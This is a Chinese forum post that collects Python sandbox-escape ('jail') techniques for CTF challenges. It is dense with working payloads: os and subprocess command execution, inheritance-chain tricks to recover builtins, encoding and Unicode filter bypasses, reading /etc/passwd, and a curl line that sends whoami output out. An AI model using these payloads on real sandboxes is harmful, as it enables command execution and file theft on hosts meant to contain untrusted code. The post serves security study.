找回密码
 会员注册
查看: 40|回复: 0

PythonJail沙盒逃逸合集

[复制链接]

2万

主题

0

回帖

6万

积分

超级版主

积分
67444
发表于 2024-9-4 21:42:36 | 显示全部楼层 |阅读模式
原理沙箱是一种安全机制,用于在受限制的环境中运行未信任的程序或代码。它的主要目的是防止这些程序或代码影响宿主系统或者访问非授权的数据。在Python中,沙箱主要用于限制Python代码的能力,例如,阻止其访问文件系统、网络,或者限制其使用的系统资源。Python沙箱的实现方式有多种,包括使用Python的内置功能(如re模块),使用特殊的Python解释器(如PyPy),或者使用第三方库(如RestrictedPython)。但Python的标准库和语言特性提供了相当多的可以用于逃逸沙箱的方法,因此在实践中创建一个完全安全的Python沙箱非常困难。python沙盒逃逸其实就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。从这个角度来讲,沙盒逃逸本身就像是sql注入在被过滤的剩余字符中通过骚操作来执行不该被执行的命令一样。关于查看目标主机是否为dockercat/proc/self/cgroupmount-v任意执行命令函数和模块:import函数__import__('os').system('dir')1os模块很少不被禁,不然很容易被利用getshell官方文档https://docs.python.org/2/library/os.htmlimportosos.system("/bin/sh")os.popen("/bin/sh")12345>>>importos>>>os.system("/bin/sh")$cat/flagflag{xxxxxxxxxxx}1234exec&eval函数两个执行函数。eval('__import__("os").system("dir")')exec('__import__("os").system("dir")')123>>>eval('__import__("os").system("/bin/sh")')$cat/flagflag{xxxxxxxxxxx}123execfile函数执行文件,主要用于引入模块来执行命令python3不存在1timeit函数fromtimeit模块importtimeittimeit.timeit('__import__("os").system("dir")',number=1)>>>importtimeit>>>timeit.timeit('__import__("os").system("sh")',number=1)$cat/flagflag{xxxxxxxxxxx}123456platform模块platform提供了很多方法去获取操作系统的信息,popen函数可以执行任意命令importplatformprintplatform.popen('dir').read()12>>>importplatform>>>printplatform.popen('dir').read()jail.py123commands模块依旧可以用来执行部分指令,貌似不可以拿shell,但其他的很多都可以importcommandsprintcommands.getoutput("dir")printcommands.getstatusoutput("dir")123>>>importcommands>>>printcommands.getoutput("dir")flagjail.py>>>printcommands.getstatusoutput("dir")(0,'flagjail.py')12345subprocess模块shell=True命令本身被bash启动,支持shell启动,否则不支持importsubprocesssubprocess.call(['ls'],shell=True)12>>>importsubprocess>>>subprocess.call(['ls'],shell=True)flagjail.py123compile函数菜鸟:http://www.runoob.com/python/python-func-compile.html1f修饰符python3.6加上的新特性,用f、F修饰的字符串可以执行代码。f'{__import__("os").system("ls")}'1sys模块关于python内部查看版本号,可以使用sys模块>>>importsys>>>printsys.version2.7.12(default,Nov122018,14:36:49)[GCC5.4.020160609]1234文件操作:file函数file('flag.txt').read()1open函数open('flag.txt').read()1codecs模块importcodecscodecs.open('test.txt').read()12Filetype函数fromtypes模块可以用来读取文件importtypesprinttypes.FileType("flag").read()12>>>importtypes>>>printtypes.FileType("flag").read()flag_here123绕过检查import/os引入使用内联函数:import函数import函数本身是用来动态的导入模块,比如:import(module)或者importmodulea=__import__("bf".decode('rot_13'))//osa.system('sh')12importlib库importimportliba=importlib.import_module("bf".decode('rot_13'))//osa.system('sh')123builtins函数使用python内置函数builtins(该函数模块中的函数都被自动引入,不需要再单独引入),dir(builtins)查看剩余可用内置函数>>>dir(__builtins__)['ArithmeticError','AssertionError','AttributeError','BaseException','BufferError','BytesWarning','DeprecationWarning','EOFError','Ellipsis','EnvironmentError','Exception','False','FloatingPointError','FutureWarning','GeneratorExit','IOError','ImportError','ImportWarning','IndentationError','IndexError','KeyError','KeyboardInterrupt','LookupError','MemoryError','NameError','None','NotImplemented','NotImplementedError','OSError','OverflowError','PendingDeprecationWarning','ReferenceError','RuntimeError','RuntimeWarning','StandardError','StopIteration','SyntaxError','SyntaxWarning','SystemError','SystemExit','TabError','True','TypeError','UnboundLocalError','UnicodeDecodeError','UnicodeEncodeError','UnicodeError','UnicodeTranslateError','UnicodeWarning','UserWarning','ValueError','Warning','ZeroDivisionError','__debug__','__doc__','__import__','__name__','__package__','abs','all','any','apply','basestring','bin','bool','buffer','bytearray','bytes','callable','chr','classmethod','cmp','coerce','compile','complex','copyright','credits','delattr','dict','dir','divmod','enumerate','eval','execfile','exit','file','filter','float','format','frozenset','getattr','globals','hasattr','hash','help','hex','id','input','int','intern','isinstance','issubclass','iter','len','license','list','locals','long','map','max','memoryview','min','next','object','oct','open','ord','pow','print','property','quit','range','raw_input','reduce','reload','repr','reversed','round','set','setattr','slice','sorted','staticmethod','str','sum','super','tuple','type','unichr','unicode','vars','xrange','zip']12这里是在没有禁用函数时的情况,可以看到里面有一些一般不会禁用的函数比如说对文件的操作函数open,int,chr等,还有dict函数一个模块对象有一个由字典对象实现的命名空间,属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”],我们就可以用一些编码来绕过字符明文检测。所以可以有__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('sh')等同于__builtins__.__dict__[_import__]('os').system('sh')1234路径引入os等模块因为一般都是禁止引入敏感包,当禁用os时,实际上就是sys.modules[‘os’]=None而因为一般的类linux系统的pythonos路径都是/usr/lib/python2.7/os.py,所以可以通过路径引入importsyssys.modules['os']='/usr/lib/python2.7/os.py'12reload禁止引用某些函数时,可能会删除掉一些函数的引用,比如:del__builtins__.__dict__['__import__']1这样就无法再引入,但是我们可以用reload(builtins)重载builtins模块恢复内置函数但是reload本身也是builtins模块的函数,其本身也可能会被禁掉在可以引用包的情况下,我们还可以使用imp模块import__builtins__importimpimp.reload(__builtin__)123这样就可以得到完整的builtins模块了,需要注意的是需要先importbuiltins,如果不写的话,虽然builtins模块已经被引入,但是它实际上是不可见的,即它仍然无法被找到,这里是这么说的:引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句importbuiltins,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。再如果imp的reload被禁用掉呢?同时禁用掉路径引入需要的sys模块呢?可以尝试上面的execfile()函数,或者open函数打开文件,exec执行代码execfile('/usr/lib/python2.7/os.py')1函数名字符串扫描过滤的绕过假如沙箱本身不是通过对包的限制,而是扫描函数字符串,关键码等等来过滤的;而关键字和函数没有办法直接用字符串相关的编码或解密操作这里就可以使用:getattr、__getattribute__getattr(__import__("os"),"flfgrz".encode("rot13"))('ls')getattr(__import__("os"),"metsys"[::-1])('ls')__import__("os").__getattribute__("metsys"[::-1])('ls')__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')1234567runoob:http://www.runoob.com/python/python-func-getattr.html如果某个类定义了getattr()方法,Python将只在正常的位置查询属性时才会调用它。如果实例x定义了属性color,x.color将不会调用x.getattr(‘color’);而只会返回x.color已定义好的值。如果某个类定义了getattribute()方法,在每次引用属性或方法名称时Python都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。绕过删除模块或方法在一些沙箱中,可能会对某些模块或者模块的某些方法使用del关键字进行删除。例如删除builtins模块的eval方法。>>>__builtins__.__dict__['eval']>>>del__builtins__.__dict__['eval']>>>__builtins__.__dict__['eval']Traceback(mostrecentcalllast):File"",line1,inKeyError:'eval'1234567reload重新加载reload函数可以重新加载模块,这样被删除的函数能被重新加载>>>__builtins__.__dict__['eval']>>>del__builtins__.__dict__['eval']>>>__builtins__.__dict__['eval']Traceback(mostrecentcalllast):File"",line1,inKeyError:'eval'>>>reload(__builtins__)>>>__builtins__.__dict__['eval']1234567891011在Python3中,reload()函数被移动到importlib模块中,所以如果要使用reload()函数,需要先导入importlib模块。恢复sys.modules一些过滤中可能将sys.modules['os']进行修改,这个时候即使将os模块导入进来,也是无法使用的.>>>sys.modules['os']='notallowed'>>>__import__('os').system('ls')Traceback(mostrecentcalllast):File"",line1,inAttributeError:'str'objecthasnoattribute'system'12345由于很多别的命令执行库也使用到了os,因此也会受到相应的影响,例如subprocess>>>__import__('subprocess').Popen('whoami',shell=True)Traceback(mostrecentcalllast):File"",line1,inFile"/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py",line688,inclassPopen(object):File"/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py",line1708,inPopendef_handle_exitstatus(self,sts,_WIFSIGNALED=os.WIFSIGNALED,AttributeError:'str'objecthasnoattribute'WIFSIGNALED'12345678由于import导入模块时会检查sys.modules中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将os模块删除,然后再次导入即可。sys.modules['os']='notallowed'delsys.modules['os']importosos.system('ls')12345基于继承链获取在清空了__builtins__的情况下,我们也可以通过索引subclasses来找到这些内建函数。#根据环境找到bytes的索引,此处为5>>>().__class__.__base__.__subclasses__()[5]123object命令引入执行object类中集成了很多基础函数,我们也可以用object来进行调用的操作对于字符串对象:>>>().__class__.__bases__(,)12通过base方法可以获取上一层继承关系>>>().__class__.__bases__[0]12通过mro方法获取继承关系所以最常见的创建object对象的方法:>>>"".__class__.__mro__(,,)>>>"".__class__.__mro__[2]12345在获取之后,返回的是一个元组,通过下标+subclasses的方法可以获取所有子类的列表。而subclasses()第40个是file类型的object。>>>().__class__.__bases__[0].__subclasses__()[40]>>>"".__class__.__mro__[2].__subclasses__()[40]1234所以可以读文件().__class__.__bases__[0].__subclasses__()[40]("jail.py").read()"".__class__.__mro__[2].__subclasses__()[40]("jail.py").read()12同时写文件或执行任意命令().__class__.__bases__[0].__subclasses__()[40]("jail.py","w").write("1111")().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("jail.py").read()')1234可以执行命令寻找subclasses下引入过os模块的模块>>>[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']>>>[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']>>>"".__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']123456绕过基于字符串匹配的过滤字符串变换:字符串拼接在我们的payload中,例如如下的payload,__builtins__file这些字符串如果被过滤了,就可以使用字符串变换的方式进行绕过。''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()123当然,如果过滤的是__class__或者__mro__这样的属性名,就无法采用变形来绕过了。base64变形base64也可以运用到其中>>>importbase64>>>base64.b64encode('__import__')'X19pbXBvcnRfXw=='>>>base64.b64encode('os')'b3M='>>>__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')app.pyjail.py1234567逆序>>>eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])root>>>exec(')"imaohw"(metsys.so;sotropmi'[::-1])root1234注意exec与eval在执行上有所差异。进制转换八进制:exec("print('RCE');__import__('os').system('ls')")exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")12exp:s="eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"octal_string="".join([f"\\{oct(ord(c))[2:]}"forcins])print(octal_string)123十六进制:exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")1exp:s="eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"octal_string="".join([f"\\x{hex(ord(c))[2:]}"forcins])print(octal_string)xxxxxxxxxxs="eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"octal_string="".join([f"\\x{hex(ord(c))[2:]}"forcins])print(octal_string)123s="eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"octal_string="".join([f"\\x{hex(ord(c))[2:]}"forcins])print(octal_string)123其他编码hex、rot13、base32等。过滤了属性名或者函数名:在payload的构造中,我们大量的使用了各种类中的属性,例如__class__、__import__等。getattr函数getattr是Python的内置函数,用于获取一个对象的属性或者方法。其语法如下:1getattr(object,name[,default])1这里,object是对象,name是字符串,代表要获取的属性的名称。如果提供了default参数,当属性不存在时会返回这个值,否则会抛出AttributeError。>>>getattr({},'__class__')>>>getattr(os,'system')>>>getattr(os,'system')('cat/etc/passwd')root:x:0:0:root:/root:/usr/bin/zsh>>>getattr(os,'system111',os.system)('cat/etc/passwd')root:x:0:0:root:/root:/usr/bin/zsh12345678这样一来,就可以将payload中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。__getattribute__函数__getattribute__于,它定义了当我们尝试获取一个对象的属性时应该进行的操作。它的基本语法如下:classMyClass:def__getattribute__(self,name):12getattr函数在调用时,实际上就是调用这个类的__getattribute__方法。>>>os.__getattribute__>>>os.__getattribute__('system')1234__getattr__函数__getattr__是Python的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个AttributeError异常。如下是__getattr__方法的基本形式:classMyClass:def__getattr__(self,name):return'Youtriedtoget'+name123在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如“YoutriedtogetX”,其中X是你尝试访问的属性名。与__getattribute__不同,__getattr__只有在属性查找失败时才会被调用,这使得__getattribute__可以用来更为全面地控制属性访问。如果在一个类中同时定义了__getattr__和__getattribute__,那么无论属性是否存在,__getattribute__都会被首先调用。只有当__getattribute__抛出AttributeError异常时,__getattr__才会被调用。另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性。__globals__替换__globals__可以用func_globals直接替换;''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")123__mro__、__bases__、__base__互换三者之间可以相互替换''.__class__.__mro__[2][].__class__.__mro__[1]{}.__class__.__mro__[1]().__class__.__mro__[1][].__class__.__mro__[-1]{}.__class__.__mro__[-1]().__class__.__mro__[-1]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0][].__class__.__base__().__class__.__base__{}.__class__.__base__12345678910111213过滤importpython中除了可以使用import来导入,还可以使用__import__和importlib.import_module来导入模块__import__1__import__('os')1importlib.import_module注意:importlib需要进行导入之后才能够使用,所以有些鸡肋。。。importimportlibimportlib.import_module('os').system('ls')12__loader__.load_module如果使用audithook的方式进行过滤,上面的两种方法就无法使用了,但是__loader__.load_module底层实现与import不同,因此某些情况下可以绕过.>>>__loader__.load_module('os')12过滤了[]如果中括号被过滤了,则可以使用如下的两种方式来绕过:调用__getitem__()函数直接替换;调用pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')#__getitem__()替换中括号[]''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')#pop()替换中括号[],结合__getitem__()利用''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')123456789过滤了‘’str函数如果过滤了引号,我们payload中构造的字符串会受到影响。其中一种方法是使用str()函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。>>>().__class__.__new__>>>str(().__class__.__new__)''>>>str(().__class__.__new__)[21]'w'>>>str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]'whoami'12345678chr函数也可以使用chr加数字来构造字符串>>>chr(56)'8'>>>chr(100)'d'>>>chr(100)*40'dddddddddddddddddddddddddddddddddddddddd'123456list+dict使用dict和list进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。list(dict(whoami=1))[0]1__doc____doc__变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:().__doc__.find('s')().__doc__[19]+().__doc__[86]+().__doc__[19]12bytes函数bytes函数可以接收一个ascii列表,然后转换为二进制字符串,再调用decode则可以得到字符串bytes([115,121,115,116,101,109]).decode()1过滤了+过滤了+号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用join函数,初始的字符串可以通过str()进行获取.具体的字符串内容可以从__doc__中取,1str().join(().__doc__[19],().__doc__[23])1过滤了数字如果过滤了数字的话,可以使用一些函数的返回值获取。例如:0:int(bool([]))、Flase、len([])、any(())1:int(bool([""]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())有了0之后,其他的数字可以通过运算进行获取:0**0==11+1==22+1==32**2==41234当然,也可以直接通过repr获取一些比较长字符串,然后使用len获取大整数。>>>len(repr(True))4>>>len(repr(bytearray))191234第三种方法,可以使用len+dict+list来构造,这种方式可以避免运算符的的出现0->len([])2->len(list(dict(aa=()))[len([])])3->len(list(dict(aaa=()))[len([])])123第四种方法:unicode会在后续的unicode绕过中介绍过滤了空格通过()、[]替换过滤了运算符==可以用in来替换or可以用+、-、|来替换例如foriin[(100,100,1,1),(100,2,1,2),(100,100,1,2),(100,2,1,1)]:ans=i[0]==i[1]ori[2]==i[3]print(bool(eval(f'{i[0]==i[1]}|{i[2]==i[3]}'))==ans)print(bool(eval(f'-{i[0]==i[1]}-{i[2]==i[3]}'))==ans)print(bool(eval(f'{i[0]==i[1]}+{i[2]==i[3]}'))==ans)12345and可以用&、*替代例如foriin[(100,100,1,1),(100,2,1,2),(100,100,1,2),(100,2,1,1)]:ans=i[0]==i[1]andi[2]==i[3]print(bool(eval(f'{i[0]==i[1]}&{i[2]==i[3]}'))==ans)print(bool(eval(f'{i[0]==i[1]}*{i[2]==i[3]}'))==ans)1234过滤了()利用装饰器@利用魔术方法,例如enum.EnumMeta.__getitem__f字符串执行f字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如获取环境变量{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}#Accessanelementthroughseverallinks{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}12345678也可以直接RCE>>>f'{__import__("os").system("whoami")}'root>>>f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"app.pyjail.py12345过滤了内建函数eval+list+dict构造假如我们在构造payload时需要使用str函数、bool函数、bytes函数等,则可以使用eval进行绕过。>>>eval('str')>>>eval('bool')>>>eval('st'+'r')123456这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。>>>eval(list(dict(s_t_r=1))[0][::2])12这样一来,只要list和dict没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。过滤了.和,如何获取函数通常情况下,我们会通过点号来进行调用__import__('binascii').a2b_base64或者通过getattr函数:getattr(__import__('binascii'),'a2b_base64')如果将,和.都过滤了,则可以有如下的几种方式获取函数:内建函数可以使用eval(list(dict(s_t_r=1))[0][::2])这样的方式获取。模块内的函数可以先使用__import__导入函数,然后使用vars()j进行获取:>>>vars(__import__('binascii'))['a2b_base64']12unicode绕过Python3开始支持非ASCII字符的标识符,也就是说,可以使用Unicode字符作为Python的变量名,函数名等。Python在解析代码时,使用的UnicodeNormalizationFormKC(NFKC)规范化算法,这种算法可以将一些视觉上相似的Unicode字符统一为一个标准形式。>>>eval==𝘦valTrue12相似unicode寻找网站:http://shapecatcher.com/可以通过绘制的方式寻找相似字符个人珍藏相似unicode脚本:foriinrange(128,65537):tmp=chr(i)try:res=tmp.encode('idna').decode('utf-8')if("-")inres:continueprint("U:{}A:{}ascii:{}".format(tmp,res,i))except:pass123456789'运行运行下面是0-9,a-z的unicode字符𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡1下划线可以使用对应的全角字符进行替换:_使用时注意第一个字符不能为全角,否则会报错:1234567>>>print(__name__)__main__>>>print(__name__)File"",line1print(__name__)^SyntaxError:invalidcharacter'_'(U+FF3F)1需要注意的是,某些unicode在遇到lower()函数时也会发生变换,因此碰到lower()、upper()这样的函数时要格外注意。绕过命名空间限制部分限制有些沙箱在构建时使用exec来执行命令,exec函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于iscc_2016_pycalc。def_hook_import_(name,*args,**kwargs):module_blacklist=['os','sys','time','bdb','bsddb','cgi','CGIHTTPServer','cgitb','compileall','ctypes','dircache','doctest','dumbdbm','filecmp','fileinput','ftplib','gzip','getopt','getpass','gettext','httplib','importlib','imputil','linecache','macpath','mailbox','mailcap','mhlib','mimetools','mimetypes','modulefinder','multiprocessing','netrc','new','optparse','pdb','pipes','pkgutil','platform','popen2','poplib','posix','posixfile','profile','pstats','pty','py_compile','pyclbr','pydoc','rexec','runpy','shlex','shutil','SimpleHTTPServer','SimpleXMLRPCServer','site','smtpd','socket','SocketServer','subprocess','sysconfig','tabnanny','tarfile','telnetlib','tempfile','Tix','trace','turtle','urllib','urllib2','user','uu','webbrowser','whichdb','zipfile','zipimport']forforbidinmodule_blacklist:ifname==forbid:#don'tletuserimportthesemodulesraiseRuntimeError('Noyoucan\'import{0}!!!'.format(forbid))#normalmodulescanbeimportedreturn__import__(name,*args,**kwargs)defsandbox_exec(command):#sandboxuserinputresult=0__sandboxed_builtins__=dict(__builtins__.__dict__)__sandboxed_builtins__['__import__']=_hook_import_#hookimportdel__sandboxed_builtins__['open']_global={'__builtins__':__sandboxed_builtins__}...execcommandin_global#docalculateinasandboxed...1234567891011121314151617181920212223242526272829303132沙箱首先获取__builtins__,然后依据现有的__builtins__来构建命名空间。修改__import__函数为自定义的_hook_import_删除open函数防止文件操作exec命令。绕过方式:由于exec运行在特定的命名空间里,可以通过获取其他命名空间里的__builtins__(这个__builtins__保存的就是原始__builtins__的引用),比如types库,来执行任意命令:12__import__('types').__builtins____import__('string').__builtins__1完全限制(nobuiltins)如果沙箱完全清空了__builtins__,则无法使用import,如下:>>>eval("__import__",{"__builtins__":{}},{"__builtins__":{}})Traceback(mostrecentcalllast):File"",line1,inFile"",line1,inNameError:name'__import__'isnotdefined>>>eval("__import__")>>>exec("importos")>>>exec("importos",{"__builtins__":{}},{"__builtins__":{}})Traceback(mostrecentcalllast):File"",line1,inFile"",line1,inImportError:__import__notfound1234567891011121314这种情况下我们就需要利用python继承链来绕过,其步骤简单来说,就是通过python继承链获取内置类,然后通过这些内置类获取到敏感方法例如os.system然后再进行利用。具体原理可见:Python沙箱逃逸小结常见的一些RCEpayload如下:#os[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()ifx.__name__=="_wrap_close"][0]["system"]("ls")#subprocess[xforxin''.__class__.__base__.__subclasses__()ifx.__name__=='Popen'][0]('ls')#builtins[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()ifx.__name__=="_GeneratorContextManagerBase"and"os"inx.__init__.__globals__][0]["__builtins__"]#help[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()ifx.__name__=="_GeneratorContextManagerBase"and"os"inx.__init__.__globals__][0]["__builtins__"]['help'][x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()ifx.__name__=="_wrap_close"][0]['__builtins__']#sys[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"inx.__init__.__globals__][0]["sys"].modules["os"].system("ls")[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"'_sitebuiltins."instr(x)andnot"_Helper"instr(x)][0]["sys"].modules["os"].system("ls")#commands(notverycommon)[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"commands"inx.__init__.__globals__][0]["commands"].getoutput("ls")#pty(notverycommon)[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pty"inx.__init__.__globals__][0]["pty"].spawn("ls")#importlib[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"inx.__init__.__globals__][0]["importlib"].import_module("os").system("ls")[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"importlib"inx.__init__.__globals__][0]["importlib"].__import__("os").system("ls")#imp[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"'imp."instr(x)][0]["importlib"].import_module("os").system("ls")[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"'imp."instr(x)][0]["importlib"].__import__("os").system("ls")#pdb[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"pdb"inx.__init__.__globals__][0]["pdb"].os.system("ls")#ctypes[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"inx.__init__.__globals__][0]["builtins"].__import__('ctypes').CDLL(None).system('ls/'.encode())#multiprocessing[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"builtins"inx.__init__.__globals__][0]["builtins"].__import__('multiprocessing').Process(target=lambda:__import__('os').system('curllocalhost:9999/?a=`whoami`')).start()1234567891011121314151617181920212223242526272829303132333435363738394041常见的一些Filepayload如下:操作文件可以使用builtins中的open,也可以使用FileLoader模块的get_data方法。[xforxin''.__class__.__base__.__subclasses__()ifx.__name__=="FileLoader"][0].get_data(0,"/etc/passwd")1绕过多行限制绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如eval,中间如果存在;或者换行会报错。>>>eval("__import__('os');print(1)")Traceback(mostrecentcalllast):File"",line1,inFile"",line1__import__('os');print(1)12345execexec可以支持换行符与;>>>eval("exec('__import__(\"os\")\\nprint(1)')")112compilecompile在single模式下也同样可以使用\n进行换行,在exec模式下可以直接执行多行代码.eval('''eval(compile('print("helloworld");print("heyy")','','exec'))''')1海象表达式海象表达式是Python3.8引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。海象表达式的语法形式如下::=ifelse1借助海象表达式,我们可以通过列表来替代多行代码:>>>eval('[a:=__import__("os"),b:=a.system("id")]')uid=1000(kali)gid=0(root)groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)[,0]123绕过长度限制BYUCTF_2023中的几道jail题对payload的长度作了限制eval((__import__("re").sub(r'[a-z0-9]','',input("code>").lower()))[:130])1题目限制不能出现数字字母,构造的目标是调用open函数进行读取print(open(bytes([102,108,97,103,46,116,120,116])).read())1函数名比较好绕过,直接使用unicode。数字也可以使用ord来获取然后进行相减。我这里选择的是chr(333).#f=102=333-231=ord('ō')-ord('ç')#a=108=333-225=ord('ō')-ord('á')#l=97=333-236=ord('ō')-ord('ì')#g=103=333-230=ord('ō')-ord('æ')#.=46=333-287=ord('ō')-ord('ğ')#t=116=333-217=ord('ō')-ord('Ù')#x=120==333-213=ord('ō')-ord('Õ')print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())123456789但这样的话其实长度超出了限制。而题目的eval表示不支持分号;。这种情况下,我们可以添加一个exec。然后将ord以及不变的a('ō')进行替换。这样就可以构造一个满足条件的payloadexec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")1但其实尝试之后发现这个payload会报错,原因在于其中的某些unicode字符遇到lower()时会发生变化,避免lower产生干扰,可以在选取unicode时选择ord值更大的字符。例如chr(4434)当然,可以直接使用input函数来绕过长度限制。打开input输入如果沙箱内执行的